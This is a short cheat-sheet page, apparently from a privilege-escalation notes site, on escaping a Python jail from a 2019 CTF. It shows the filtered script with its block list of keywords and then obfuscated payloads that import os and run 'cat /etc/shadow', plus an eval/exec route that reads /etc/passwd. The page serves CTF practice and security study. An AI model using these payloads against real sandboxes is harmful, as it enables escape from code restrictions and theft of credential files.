> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/python-jails-escape.md).

# Python Jails Escape

If we faced the Python script as follow, we cannot use common modules used for escalating privileges ("os", "system", etc.). It appeared in Newbie CTF 2019.

```python
#! /usr/bin/python3
def main():
    text = input('>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return
        else:
            exec(text)

if __name__ == "__main__":
    main()
Copied!
```

We need to modify module names to allow us to execute them.\
[This post](https://dspyt.com/how-to-python-jail-escape-newbie-ctf-2019) explains in details.

<br>

### [Payloads](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-jails-escape/#payloads) <a href="#payloads" id="payloads"></a>

```python
print(globals())
print(getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat /etc/shadow'))
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /etc/shadow')
Copied!
```

<br>

### [Payloads (input)](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-jails-escape/#payloads-\(input\)) <a href="#payloads-input" id="payloads-input"></a>

If the **"eval"** or **"exec"** modules are accepted, we can input arbitrary code.

```python
eval(input())
# or
exec(input())

> print(open("/etc/passwd", "r").read())
Copied!
```

### References

* <https://dspyt.com/how-to-python-jail-escape-newbie-ctf-2019>